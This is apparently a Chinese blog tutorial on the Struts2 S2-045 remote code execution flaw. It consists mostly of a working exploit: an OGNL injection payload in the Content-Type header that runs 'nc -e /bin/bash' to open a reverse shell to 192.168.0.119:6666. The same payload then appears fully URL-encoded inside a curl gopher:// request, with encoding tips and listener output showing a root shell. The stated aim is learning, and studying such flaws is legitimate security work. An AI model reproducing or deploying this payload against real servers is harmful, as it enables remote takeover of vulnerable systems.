如果需要大佬写好的脚本，可以直接去github上面搜
struts2 - 045 一个还比较出名的漏洞，因为涉及到利用Gopher协议反弹shell，所以写篇文章来简单学习下这个漏洞。
Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API，鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心，吸收了Struts框架的部分优点，提供了一个更加整洁的MVC设计模式实现的Web应用程序框架 (摘自百度百科)
漏洞描述
使用Jakarta插件处理文件上传操作时可能导致远程代码执行漏洞。
漏洞影响
攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。
漏洞利用
以下为S2-045漏洞反弹shell的利用代码
GET /S2-045/ HTTP/1.1 Host: 192.168.0.119 Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
我们将其变为Gopher所能使用的请求
（使用Gopher发送请求必须对其中的部分内容进行编码，否则无法成功执行（如若不太了解Gopher，在分类里面有对Gopher的简单学习））
curl gopher://192.168.0.119:8080/_GET%20/S2-045/%20HTTP/1.1%0d%0aHost:192.168.0.119%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%30%2e%31%31%39%20%36%36%36%36%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a
一定要注意最后加上%0d%0a，以及很多URL编码工具将会回车换行转码为%0a，一定要自己替换为%0a%0d
发送请求后可以反弹shell
在本地监听即可
margine:~ margin$ nc -l 6666 id uid=0(root) gid=0(root) groups=0(root)